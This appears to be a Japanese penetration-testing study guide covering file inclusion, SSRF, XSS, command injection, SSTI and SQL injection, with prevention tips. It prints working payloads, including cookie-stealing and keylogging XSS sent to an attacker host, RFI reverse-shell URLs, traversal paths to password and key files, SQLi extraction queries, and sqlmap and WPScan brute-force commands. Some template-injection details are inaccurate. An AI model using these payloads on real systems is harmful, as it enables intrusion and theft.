ファイルインクルードはプログラムの中で別ファイルを参照するコードがあった場合に、実際に参照すべきファイルとは別のファイルやデータを読み込ませて本来意図しない不正なデータ処理を行わせる攻撃のこと。

ファイルインクルードの脆弱性はPHPなど、 記述および実装が不十分なWeb アプリケーション用のさまざまなプログラミング言語で見つかり悪用される。
この脆弱性の主な問題は入力検証であり、ユーザー入力はサニタイズまたは検証されず、ユーザーが入力を制御してしまうことに起因する。
入力が検証されない場合はユーザーは任意の入力を関数に渡すことができ、脆弱性が発生する。

ファイルインクルードの脆弱性にはWebアプリケーションやOSに関連するコード、資格情報、その他の重要なファイルなどのデータを漏洩する可能性がある。 攻撃者が他の手段でサーバにファイルを書き込むことができる場合、ファイルの組み込みが並行して使用され、リモートコマンド実行(RCE)が行われる可能性がある。

3.7.2. ディレクトリトラバーサル

ディレクトリトラバーサルはファイルやディレクトリを操作する際に、不正なパスを挿入されることによって意図しないディレクトリやファイルを参照、操作されてしまう脆弱性のこと。
この脆弱性により攻撃者はアプリケーションを実行しているサーバー上のローカルファイルなどのOSのリソースを読み取ることができてしまう。

ディレクトリトラバーサルの発生原因

ディレクトリトラバーサルの脆弱性はユーザーの入力がPHPの場合、file_get_contentsなどの関数に渡されるときに発生する。
多くの場合、WEBサイトのバックエンドの不十分な入力検証またはフィルタリングが脆弱性の原因となる。

ドットスラッシュ攻撃

ドットスラッシュ攻撃はディレクトリトラバーサルの攻撃で../を使用してディレクトリを 1 つ上のステップに移動することを利用して攻撃する。

例としては以下の通り。

  1. エントリーポイントを発見する(http://webapp.thm/get.php?file=)
  2. http://webapp.thm/get.php?file=../など送信する
  3. ほしいデータがあるディレクトリ(例../../../etc/passwd)まで何回(例の場合5回)リクエストを送ってデータを取得する

上記手法はLinux、Windows問わずに同じようにディレクトリをたどっていく。
テスト時に使用できる一般的な OS ファイルは以下の通り。

Linuxディレクトリ位置説明
/etc/hostnameホスト名
/etc/issueログインプロンプトの前に出力されるメッセージまたはシステム ID を含むファイル
/etc/profileエクスポート変数、ファイル作成マスク (umask)、端末タイプ、新しいメールの到着を示すメッセージなど、システム全体のデフォルト変数を制御する
/proc/versionLinuxカーネルのバージョンを指定
/etc/passwdシステムにアクセスできるすべての登録ユーザーが含まれる
/etc/shadowシステムのユーザーのパスワードに関する情報が含まれる
/etc/ssh/ssh_configSSHの設定ファイル
/etc/ssh/sshd_configSSHの設定ファイル
/root/.bash_historyrootユーザーの履歴コマンドが含まれる
/root/.ssh/id_rsa秘密鍵が含まれる
/root/.ssh/authorized_keys公開鍵が含まれる
/var/log/dmessageシステム起動時にログに記録されるメッセージを含む、グローバル システム メッセージが含まれる
/var/mail/rootrootユーザーのすべてのメール
/root/.ssh/id_rsaroot またはサーバー上の既知の有効なユーザーのSSH秘密鍵
/var/log/apache2/access.logApache Webサーバーへのアクセスされたリクエスト
Windowsディレクトリ位置説明
C:\boot.iniBIOSファームウェアを備えたコンピューターの起動オプションが含まれる
/autoexec.bat
C:/windows/system32/drivers/etc/hosts
C:/inetpub/wwwroot/IIS関連
C:/inetpub/wwwroot/web.configIIS関連
C:/inetpub/logs/logfiles/IIS関連
C:/xampp/apache/conf/httpd.confXAMPP関連
C:/xampp/security/webdav.htpasswdXAMPP関連
C:/xampp/apache/logs/access.logXAMPP関連
C:/xampp/apache/logs/error.logXAMPP関連
C:/xampp/tomcat/conf/tomcat-users.xmlXAMPP関連
C:/xampp/tomcat/conf/web.xmlXAMPP関連
C:/xampp/webalizer/webalizer.confXAMPP関連
C:/xampp/webdav/webdav.txtXAMPP関連
C:/xampp/apache/bin/php.iniXAMPP関連
C:/xampp/apache/conf/httpd.confXAMPP関連
C:\Windows\System32\config\RegBack\SAMパスワードハッシュ関連
C:\Windows\System32\config\SAMパスワードハッシュ関連
C:\Windows\repair\systemパスワードハッシュ関連
C:\Windows\System32\config\SYSTEMパスワードハッシュ関連
C:\Windows\System32\config\RegBack\systemパスワードハッシュ関連
C:\Windows\System32\config\RegBack\SAM.OLDパスワードハッシュ関連
C:\Windows\System32\config\RegBack\SYSTEM.OLDパスワードハッシュ関連

3.7.3. ローカルファイルインクルージョン(LFI)

ローカルファイルインクルージョン(LFI)は本来閲覧権限のないサーバー内のファイルを読み込んだり、実行したりすることが可能な脆弱性。
LFI攻撃はサイト開発者の不十分なセキュリティ実装が原因となる。

PHPやASP.net, Node.jsなど開発言語を問わず生じる可能性がある。

LFIアクセスの例は以下の通り。

http://example.com/index.php?page=/etc/passwd
# /etc/passwdというキーワードがフィルタリングされている場合
http://example.com/index.php?page=/etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

PHPの場合

include()関数でファイルを読み込む場合、エラーメッセージより「.php」など拡張子が付いたファイルを読み込むことが判明するときがある。
こうした場合、ファイルを要求しても「.php」が最後につくためデータを取り出せないように思えるがNULL BYTE(%00)を使用することで回避できる。

Nullバイトの使用はユーザーが指定したデータを使用して16進数の%00や0x00などの URLエンコード表現を使用して文字列を終了するインジェクション手法といえる。
具体的にはペイロード最後にNullByteを追加することでNullByte以降をすべて無視するようにinclude関数に伝えられる

なおPHPの場合、修正されたためPHP 5.3.4以降では動作しない

また../をNull文字に置き換えてる場合などは....//などで回避できる。

3.7.4. リモートファイルインクルージョン(RFI)

リモートファイルインクルード(RFI)はWebアプリケーションにおける外部ファイル参照機能を悪用して予期せぬ動作や悪意ある動作を起こすことが可能な脆弱性。
LFIと同様に、RFIはユーザー入力を不適切にサニタイズするときに発生し、攻撃者が外部URLをinclude関数に挿入することを可能にする。

RFIは攻撃者がサーバー上でリモートコマンド実行 (RCE) を取得できるのでLFIより危険性が高くなる。PHPの場合はallow_url_includeオプションがONになっている場合に有効となってしまう。
RFI攻撃の成功により以下のリスクがある。

  • クロスサイトスクリプティング(XSS)
  • サービス拒否攻撃(DoS)

攻撃者がサーバー上に悪意のあるファイル(リバースシェルなど)をホストするRFI攻撃を成功させる手順は以下の通り。

  1. 外部サーバ(攻撃者のサーバ)とサービスを提供しているアプリケーションサーバーと通信させる
    • http://www.example.com/index.php?lang=http://[攻撃者のIPアドレス|ドメイン名]/cmd.txt
  2. 悪意のあるファイルがHTTPリクエストを介してinclude関数に挿入され悪意のあるファイルの内容がアプリケーションサーバー上で実行させる

またRFI攻撃例は以下の通り。

http://<Target IP>/<file>.php?file=http://<Attacker IP>/rs.php

3.7.5. ファイルインクルージョン脆弱性を防ぐ方法

PHPの場合

  • WEBアプリケーションのフレームワークやOSなどを最新のバージョンにする
  • PHPエラー表示をOFFにしてパスの情報などが漏洩しないようにする
  • WEBアプリケーションファイヤーウォール(WAF)を設定する
  • ファイルインクルードの脆弱性を引き起こす一部のPHP機能 (allow_url_fopen onallow_url_includeなど) を無効にする
  • Web アプリケーションを注意深く分析し、必要なプロトコルとPHPラッパーのみを許可する
  • ユーザー入力やファイルのインクルードに対して適切な入力検証を必ず実装する
  • ファイル名と場所のホワイトリストとブラックリストを実装する

3.8. SSRFの脆弱性

3.8.1. SSRFとは

SSRF(Server-Side Request Forgery)は悪意のあるユーザーがWebサーバに攻撃者が選択したリソースに対して追加/編集されたHTTPリクエストを実行させることを可能にする脆弱性のこと。
具体的には攻撃者は何らかの方法で公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があり、これがSSRF攻撃と呼ばれる。

SSRF

SSRFには以下の2種類がある。

  • 通常のSSRF … データが攻撃者の画面に表示される
  • ブラインドSSRF … SSRFが発生しても攻撃者の画面に情報が表示されない

SSRFの危険性は以下の通り。

  • 許可されていない領域へのアクセス
  • 顧客/組織データへのアクセス
  • 内部ネットワークに拡張する機能
  • 認証トークン/資格情報を明らかされる危険性

3.8.2. SSRFの突破

SSRFの発見

SSRFの脆弱性を見つける場合一般的に確認すべき箇所は4カ所ある。

  • アドレスバーのパラメータで完全なURLが使用されている場合 * https://website.com/form?server=http://server.webstite.com/storeなど
  • フォーム内の隠しフィールド(type=hidden)の値にURLが使用されている場合
  • ホスト名などがクエリパラメータにある場合(server=api)など
  • URLにパスが指定されている場合

なお出力が出力されないブラインドSSRFを探す場合は外部HTTPログツールを使用する必要がある
この場合requestbin.comや自前のHTTPサーバやBurp SuiteのCollaboratorツールを使う必要がある。

またx&x=をパラメータとして使用することで通常のURLスキーム(http、https)以外の特殊なプロトコル(例: file、gopher)を使用できるため悪意のある動作を実現できてしまう。

SSRFを突破する

SSRF脆弱性をアプリケーションに実装する場合、システム開発者は拒否リスト許可リストを実装する。

  • 拒否リスト … リストで指定されたリソース、または特定のパターンに一致するリソースを除いてすべてのリクエストが受け入れさせる機構 * 一般的にはlocalhost127.0.0.1やドメイン名が記載される * 攻撃には代替の00.0.0.0127.1127.*.*.*2130706433017700000001などでバイパスできる * IPアドレス127.0.0.1に解決される DNSレコードを持つサブドメイン(例:127.0.0.1.nip.io)などでもバイパスできる
  • 許可リスト … パラメーターで使用されるURL(例えばhttps://website.thm)で始まる必要があるというルールなどの特定のパターンに一致しない限り、すべてのリクエストが拒否させる機構 * 攻撃には攻撃者のドメイン名にサブドメイン(https://website.thm.attachers-domain.thm など) を作成することで行える

またオープンリダイレクトのギミックにそのドメインのみから始まるURLを許可するSSRF脆弱性がある場合、内部 HTTP リクエストを攻撃者が選択したドメインにリダイレクト指せるようにできる可能性がある。

3.9. XSSの脆弱性

XSS(Cross-Site Scripting)はWebサイトの脆弱性を利用しHTMLに悪質なスクリプトを埋め込み実行できる脆弱性のこと。
他のユーザーによる実行を目的の悪意のあるJavaScriptがWebアプリケーションに挿入されるインジェクション攻撃として分類されている。

3.9.1. XSSペイロード

XSSのペイロードはターゲットコンピューター上で実行されるJavaScriptのこと。 XSSの例を以下に示す。

XSS脆弱性の試行

もっとも有名なXSSのペイロードであり、XSSができることを確かめるだけの有名なコードです。

<script>alert('XSS is Enable');</script>

"><script>alert(1);</script>
<a onmouseover="alert(document.cookie)">XSS</a>
<iframe src="javascript:alert('XSS');"></iframe>
<IMG SRC=j&#X41vascript:alert('XSS')>

Sessionの盗用

ログイントークンなどのユーザーセッションの詳細は、多くの場合ブラウザ上のCookieに保存する。 以下のコードはターゲットのCookieを取得し、それをBase64でエンコードして送信し、攻撃者の制御下にあるWebサイトに投稿してログに記録する。
攻撃者がここから Cookie を取得すると、ターゲットのセッションを乗っ取り、そのユーザーとしてログインされる可能性がある。

// #########################
// ペイロード1 :Sessionハイジャック
// #########################
<script>fetch('https://[攻撃者ホストのIP]/?cookie='+btoa(document.cookie));</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード2
// #########################
<script>var i=new Image(); i.src="http://[攻撃者ホストのIP]/?cookie="+btoa(document.cookie);</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード3
// #########################
<img src=x onerror='this.src="http://[攻撃者ホストのIP]/?"+document.cookie;' \>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
<script>alert(document.cookie);</script>
// Burpsuiteの場合
// %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

キーロガー

以下のコードはキーロガーとして機能する。

<script>document.onkeypress = function(e) { fetch('https://[攻撃者ホストのIP]/log?key='+btoa(e.key) );}</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80

メールアドレスの変更によるパスワードリセット攻撃

以下のコードではアカウントの電子メールアドレスが変更されるため、攻撃者はパスワードリセット攻撃を実行する可能性がある。

<script>user.changeEmail('[攻撃者のメールアドレス]');</script>

3.9.2. XSSの種類

反射型XSS

反射型xssは攻撃者が用意したurlにアクセスした時に発生するXSS脆弱性のこと
具体的にはHTTPリクエストでユーザーが指定したデータが検証されずに Web ページのソースに含まれている場合に発生する。

反射型

この攻撃では攻撃者は被害者にリンクを送信したり、JavaScriptペイロードを含む別の Web サイトの iframe に埋め込んだりして、ブラウザ上でコードを実行させ、セッションや顧客の情報を盗む可能性がある。

反射型XSSを試す場所は以下のようなエントリーポイントが考えられる。

  • URLクエリ文字列のパラメータ
  • URLファイルパス

例としては以下の場合はクエリ文字列パラメータによる反射型XSSとなる。

  1. https://miya-zato-shopping/search?word=羅生門で「羅生門の検索結果ページ」にアクセスできるとき
  2. https://miya-zato-shopping/search?word=<script>alert(1)</script>このように送るとXSSが起こる場合は反射型XSS

格納型XSS

格納型xssはwebサイトが蓄積しているコンテンツの中に含ませるXSS脆弱性のこと。 具体的にはWebアプリケーションのデータベースなどに保存され、他のユーザーがサイトまたは Web ページにアクセスしたときに実行される。

データベースに保存された悪意のあるJavaScriptは、ユーザを別のサイトにリダイレクトしたり、ユーザーのセッションCookieを盗んだり、訪問ユーザとして動作しながら他のWebサイトのアクションを実行したりする可能性がある。

データが保存され、他のユーザーがアクセスできる領域に表示されていると思われるすべてのエントリポイントがそのポイントと考えられる。

  • ブログのコメント
  • ユーザプロファイル

格納型

例としては以下の場合は蓄積型XSSとなる。

  1. データベースからこんにちは○○さん!と表示されるページがある
  2. ユーザ名を<script>alert(1)</script>で登録する
  3. 上記JavaScriptがページで実行されれば、これが蓄積型XSSとなる。

DOM-Based XSS

DOM-Based XSSはDOMを操作し、意図しないスクリプトを出力させるXSS脆弱性のこと。
DOM-Based XSSには反射型XSS、格納型XSSはサーバからレスポンスされる際にスクリプトが出力されるのに対し以下の特徴がある。

  • 攻撃を受けたユーザのブラウザで不正なスクリプトが実行された場合に必ずしもサーバに通信が飛ばない
  • 攻撃を受けたユーザのブラウザ上でJavaScriptが実行されたタイミングで初めて不正なスクリプトが実行される

DOM-BASED

例として以下のコードがサイトのJavaScriptにある場合を例にとる。

div = document.getElementById("info");
div.innerHTML = location.hash.substring(1); 

上記のJavaScriptを埋め込んだサイトにhttp://example.com/#<img src=1 onerror=alert(1)>でアクセスして読み込むと、<img src=1 onerror=alert(1)>が展開されクエリ文字のJavaScriptが実行されてしまう。

このとき、攻撃者が実際の攻撃のためのJavaScriptコードを含めていたlocation.hashのような箇所をソースと呼び、ソースに含まれる文字列を受け取り、文字列からJavaScriptを生成、実行してしまう箇所のことシンクと呼ばれる。

Dom-Based XSSのソースになりえる処理は以下の通り。

  • location.hash
  • location.search
  • location.href
  • document.cookie
  • document.referrer
  • window.name
  • Web Storage
  • IndexedDB
  • XMLHttpRequest.responseText

シンクとして働く機能の代表例としては以下の通り。

  • HTMLElement.innerHTML
  • location.href
  • document.write
  • eval
  • setTimeout, setInterval
  • Function
  • jQuery(), $(), $.html()

ブラインドXSS

ブラインドXSSは格納型XSSに似ているがペイロードが動作しているか確認することやテストすることができないXSS
XSS Hunter ExpressというツールがブラインドXSSの検証でよく使われる。

3.10. OSコマンドインジェクション

OSコマンドインジェクションはデバイス上のアプリケーションが実行されているのと同じ権限を使用しOS上でコマンドを実行するアプリケーションの動作を悪用することでシステムの乗っ取りやコード実行などが行える脆弱性のこと。

OSコマンドインジェクションは、アプリケーション内のコードをリモートで実行できるため、リモートコード実行(RCE)とも呼ばれる。
これらの脆弱性は攻撃者が脆弱なシステムと直接対話できることを意味するので、多くの場合攻撃者にとって最も恩恵が得られる攻撃といえる。
この攻撃では攻撃者はシステムまたはユーザーのファイル、データ、およびその性質のものを読み取ることができる可能性がある。

3.10.1. OSコマンドインジェクションの原理

phpで書かれた「入力値のファイル内検証のコード」を例にとる。

<?php
$songs = "/var/www/html/songs"

if (isset $_GET["title"]) {
   $title = $_GET["title"];

   $command = "grep $title /var/www/html/songtitles.txt":

   $search = exec($command);
   if ($search == ""){
      $return "<p>リクエストされた $title は曲リストに含まれていません。</p>";
   } else {
      $return "<p>リクエストされた $title は極リストに含まれています。</p>";
   }

   echo $return;
}
?>

上記例では入力値($title)にアプリケーションを実行するための独自のコマンドを挿入することで、このアプリケーションを悪用する可能性がある。
具体的にはgrepを使用してsongstitles.txtより機密性の高いファイルからデータを読み取るようにすることができる。

3.10.2. OSコマンドインジェクションの検知

OSコマンドインジェクションを確かめるにはシェル演算子;および&&&(またはそれ以上) のシステムコマンドを組み合わせて両方をURLで実行すると行える。

具体的な検出方法は以下の2通りある。

方法説明
ブラインド法ペイロードのテスト時にアプリケーションからの直接出力がない方法。ペイロードが成功したかどうかを判断するには、アプリケーションの動作を調査する必要がある。
冗長法ペイロードのテスト後にアプリケーションから直接フィードバックが得られる方法。WEBアプリケーションはコマンド結果をページにそのまま出力する。

ブラインド法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果出力は表示されないため、結果が分かりづらい。これはWEBアプリケーションがメッセージを出さないためである。 このタイプのコマンドインジェクションを検知する方法は2通りある。

  • ある程度の時間遅延を引き起こすペイロードを使用する方法 * pingsleepコマンドがその例で、オプションで指定した数だけアプリケーションがハングアップするため確認できる
  • 出力を無理やり強制する方法 * >などのリダイレクト演算子を使用して実行する * 例としてwhoamiを実行させたい場合はwhoami > catなどを利用する * Linux と Windows ではコマンドの構文が異なるため数多い試行が必要になるケースがある

またcurlコマンドはOSコマンドインジェクションをテストするのに優れた方法といえる。
これはペイロード内のアプリケーションとの間でデータの受け渡しに使用しやすいためである。

curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

冗長法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果がWEBアプリケーションの出力に直接表示されるので分かりやすいのが特徴といえる。

3.10.3. OSコマンドインジェクションに役立つペイロード集

Linux と Windows の両方の貴重なペイロードを以下に記載する。

Linuxペイロード説明
whoamiアプリケーションがどのユーザーで実行されているかを確認できる。
ls現在のディレクトリの内容を一覧表示する
pingこのコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
sleepこれはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
ncNetcat を使用すると、脆弱なアプリケーションにリバースシェルを生成できる。これを使用してターゲットマシン内を移動し他のサービス、ファイル、または権限を昇格する可能性のある手段を見つけることが可能
Windowsペイロード説明
whoamiアプリケーションがどのユーザーで実行されているかを確認できる。
dir現在のディレクトリの内容を一覧表示する
pingこのコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
timeoutこれはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。

3.10.4. OSコマンドインジェクション脆弱性の阻止

PHPの場合は以下関数がデフォルトではシェル経由でコマンドを実行できるので脆弱性となりえる。

  • exec
  • passthru
  • system

またOSコマンドインジェクションを防ぐには入力値のサニタイズを行う必要がある。
PHPの場合はfilter_input関数を利用して入力値がデータか数字か検証できたりするので、こういった機能を利用する。

またコマンドインジェクションチートシートはコチラから。

3.11. サーバーサイドテンプレートインジェクション(SSTI)

Server Side Template Injection (SSTI) は、テンプレートエンジンの安全でない実装を利用する脆弱性のこと。

SSTIはサーバー側のエクスプロイトであり、ハイジャックされる可能性があるため、脆弱性がさらに重大であることを意味する。 主な目的は通常、リモートでコードを実行できるようにすることができる。

テンプレートエンジン: Web フレームワークに使用されているデータの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジンのこと

3.11.1. SSTIの検出

SSTIのインジェクションポイントはURL や入力ボックスとなる。 これらのポイントでファジング(複数の文字を送信することで、サーバーが脆弱かどうかを判断する)を行うことで判定をする。 SSTIを検出できる可能性の高い文字列(特殊文字のシーケンス)は以下の通り。

  • ${{<%[%'"}}%\

URLエンコードツールはコチラから。

URLに入れる例

入力パラメータを変更して脆弱性を確認する

http://[IPアドレス]:5000/home/${

http://vulnerable-website.com/?greeting=data.username}}sername

入力フィールドに入れる例

サーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別してることを確認する。

{{5*5}}

${{5*5}}

3.11.2. テンプレートエンジンの識別

SSTIの検出が行えたら、次はどのテンプレートエンジンが使用されているかを特定する。
デジジョンツリーという識別マップに従うのが良い。 ツリーは以下の通り。

  • ${7*7}
    • a{*comment*}b => $marty
      • ${"z".join("ab")} => Mako
        • => Unknown
    • {{7*7}}
      • {{7*'7'}} => Jinja2 or Twig or Unknown
        • => Unknown

3.11.3. テンプレートエンジンの構文

各テンプレートエンジンのSSTIはコチラを参照。

https://github.com/swisskyrepo/PayloadsAllTheThings/も使える。

Java

// Basic
${7*7}
${{7*7}}
//Jinja2
{% <コード> %}

JavaScript

//Lodash
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>

Python

# Mako
<% <コード> %>
${<コード>}

PHP

# Twig
{system('ls')}
{system('cat index.php')}
# Smarty
{{7*7}}

Ruby

7*7の部分にsystem("実行コード");などを記述するとエクスプロイトのコードになる。

# ERB
<%= 7*7 %>
# Slim
#{ 7*7 }

活用形は以下

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

3.11.4. TInjAによるSSTI解析の自動化

github:https://github.com/Hackmanit/TInjA

3.12. SQLインジェクション

SQLインジェクションは悪意のあるSQLクエリを実行させるWebアプリケーションデータベースサーバーに対する攻撃のこと。
Webアプリケーションが、十分に検証されていないユーザ入力を使用してデータベースと通信する場合、攻撃者が個人データや顧客データを盗んだり、削除したり、変更したり、Web アプリケーションの認証方法を攻撃して不正にデータベースを操作する可能性がある。

SQLを使用するWebアプリケーションがSQLインジェクションの脆弱性にさらされるのはユーザーが提供したデータがSQLクエリに含まれるときである。

SQLインジェクション

3.12.1. SQLインジェクションの種類

インバンドSQLインジェクション

インバンドSQLインジェクションは検出して悪用するのが最も簡単なタイプのSQLインジェクション。
インバンドは脆弱性を悪用し結果を受け取るために使用されるのと同じ通信方法を指す。
Webサイトのページで SQLインジェクションの脆弱性を発見し、データベースから同じページにデータを抽出できるのが特徴である。

エラーベースのSQLインジェクション

このタイプのSQLインジェクションはデータベースからのエラーメッセージがブラウザ画面に直接出力されるため、データベース構造に関する情報を簡単に取得するのに役立つ。このタイプはデータベース全体を列挙するためによく使用される。

UNIONベースのSQLインジェクション

UNIONベースのインジェクションでは、SQL UNION 演算子を SELECT ステートメントとともに利用して、追加の結果をページに返させる
この方法は、SQLインジェクションの脆弱性を利用して大量のデータを抽出する最も一般的な方法といえる。

SQLインジェクションによる認証突破

認証ページのユーザID/パスワードの入力画面で' or 'a'='aなどを入力すると認証をバイパスする場合は、SQLインジェクションによる認証突破といえる。
これはSQL文が以下のようになるため起きる。

-- 以下記述により常にWHERE句が成立してしまう
SELECT * FROM users WHERE id = 'Username' and pwd = '' OR 'a'='a'

3.12.2. SQLインジェクションのSQL文

基本的なSQLインジェクション

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--

UNIONベースのSQLインジェクション

  1. UNION攻撃に必要な列数の決定
    • ' ORDER BY 1--' ORDER BY 2--などで列数の決定
  2. UNION攻撃で有用なデータ型の列を見つける
    • UNION SELECT 'a',NULL,NULL,NULL--など(aの位置を変える)
  3. DBバージョンの取得
    • ' union select version(),null,null,null #
  4. DB名の取得
    • ' UNION SELECT DATABASE(),NULL,NULL,NULL#
  5. テーブルの取得
    • ' union select table_name,null from information_schema.tables
    • ' union select table_name,null from information_schema.tables where table_schema = '<4で判明したDB名>'#
  6. テーブルのカラムを参照
    • ' union select table_name,column_name from information_schema.columns #
    • ' union select table_name,column_name from information_schema.columns where table_schema = '<4で判明したDB名>'#
  7. データの取得
    • ' union select user,password from <DB名>.<テーブル名> #

3.12.3. SQLインジェクションの阻止

SQLインジェクションをソフトウェア開発者が防ぐには以下工夫が必要となる

  • プレースホルダによるSQL文の組み立て
  • パラメーター化されたクエリを使用したSQLステートメント(プリペアードステートメント)
  • 入力値の検証(許可リストの使用など)
  • ユーザー入力のエスケープ(’ " $ \ など)

3.12.4. SQLmapによるSQLインジェクションの自動化

SQLmapはSQLインジェクションの欠陥を検出して悪用し、データベースサーバを乗っ取るプロセスを自動化するツール。 以下のDBMSをサポートしている。

  • MySQL
  • Oracle SQL
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

コマンド

sqlmap -u "https://localhost/?id=1&opt=test" -p "id"
オプション概要
-u攻撃対象のURL
-p攻撃対象のパラメータ名
–data--data="user=x&password=y"などでパスワードなどを指定
–dbmsデータベースの種類(指定したDBの攻撃値のみに絞って挿入)
–dumpテーブル情報を取得
–dump-all全てのテーブル情報を取得
-r <ファイル名>HTTPリクエストデータを指定して実行する
–os-shellシェルの取得
–risk攻撃値の網羅性レベル。1〜3の範囲で指定する。
1:基本的な攻撃値のみ(デフォルトの設定)
2:time-based SQL injectionの攻撃値も試す。
3:OR-based SQL injectionの攻撃値も試す
–level検査対象となるパラメータの範囲。1〜5の範囲で指定する。
1:基本的なパラメータを検査(デフォルトの設定)
2:Cookieのパラメータも検査対象にする。
3:「User-Agent」ヘッダや「Referer」ヘッダも検査対象にする
–proxyプロキシの設定
–delay各リクエスト間で遅延させる時間(秒)
–cookieクッキーの設定

よく使うコマンド

# SQLインジェクション/コマンドインジェクション
sqlmap -u "https://[IPアドレス]/?id=1" --cookie="ID=hogehoge" --os-shell
# データベース一覧取得
sqlmap -u "https://[IPアドレス]/?id=1" --dbs
# データベース内に存在するテーブル一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] --tables
# テーブルが保持するカラム一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] --columns
# テーブルが保持するデータを表示
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] -C [カラム1],[カラム2],... --dump

リクエストファイルを使用してsqlmapを使用する場合は以下の通り。

# データベース一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] --dbs
# DBの一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] --tables
# テーブルの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] --columns
# カラムからデータの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] -C [カラム] --dump

HTTP Getベースの列挙

以下のようなHTTPリクエストを含むテキストファイルを用意する。

POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close

blood_group=B%2B

以下コマンドでデータベース列挙を試みる。

sqlmap -r <リクエストファイル> -p <脆弱なパラメータ> --dbs

3.13. CMSへの侵入

様々なCMSがあるが、そのCMS特有のファイルの確認事項、スキャン方法を記載する。

3.13.1. WPScan

WPScanは、WordPress サイトに存在するいくつかのセキュリティ脆弱性カテゴリを列挙して調査することができるスキャンツール。

基本的な使い方

# アップデート
wpscan --update

# ユーザの列挙
wpscan --url <url> -e u
# 脆弱なTheme特定
wpscan --url <url> -e vt
# 脆弱なプラグイン特定
wpscan --url <url> -e vp

# 上記3つスキャン+ファイル出力
wpscan --url <url> -e u,vt,vp -o <output filename>

# アグレッシブスキャン
wpscan --url <url> -e u,vt,vp --plugins-detection aggressive

# リスト型攻撃/パスワード推測攻撃(デフォルトログインページの必要)
# wp-login.phpページと有効になっている場合XMLRPCインタフェースを介したブルートフォースをサポートする
wpscan --url [ドメイン名など] --passwords /usr/share/wordlist/rockyou.txt
wpscan --url http://test.com/ --usernames admin --passwords /usr/share/wordlist/rockyou.txt
  • url…対象のURL指定
  • -e
    • u…usernameの列挙
    • vt…脆弱なテーマを列挙
    • at…全てのテーマを列挙
    • vp…脆弱性のあるプラグインを列挙
    • ap…全てのプラグインを列挙
  • -o…ファイル出力
オプション説明
pプラグインを列挙–enumerate p
tテーマを列挙–enumerate t
uユーザー名を列挙する–enumerate -u
vWPVulnDB を使用して脆弱性を相互参照–enumerate vp
aggressiveWPScan が使用する積極性プロファイル–plugins-detection aggressive

3.13.2. Nikto

Niktoは脆弱性スキャンツールでWebサーバーの設定やインストールされたWebアプリケーションのバージョンなどを調べることができるツール。
Nikto は WPScanと異なり、あらゆる種類のWebサーバを評価できる。

基本的な使い方

nikto -h <IPアドレス | ホスト名>
# HTMLレポートファイルを保存する場合
nikto -h <IPアドレス | ホスト名> -o <レポート名>.html

複数のホストとポートのスキャン

Nmap (デフォルトの Web ポート 80 を使用) で 172.16.0.0/24 (サブネット マスク 255.255.255.0、結果として 254 のホストが考えられる) をスキャンし、次のように Nikto への出力を解析する例は以下の通り。

nmap -p80 172.16.0.0/24 -oG - | nikto -h - 

Niktoのプラグイン

-Pluginオプションで設定する。

プラグイン名説明
apacheusersApache HTTP 認証ユーザーの列挙を試みる
cgi悪用できる可能性のある CGI スクリプトを探す
robotsどのファイル/フォルダーに移動できるかを示す robots.txt ファイルを分析する
dir_traversalディレクトリ トラバーサル攻撃 ( LFI ) を使用してLinux 上の /etc/passwd などのシステム ファイル (http://ip_address/application.php?view=../../../../../../../etc/passwd)を検索しようとする

スキャンの詳細表示

-Display [数字]オプションでNikto スキャンの冗長性を高めることができる。

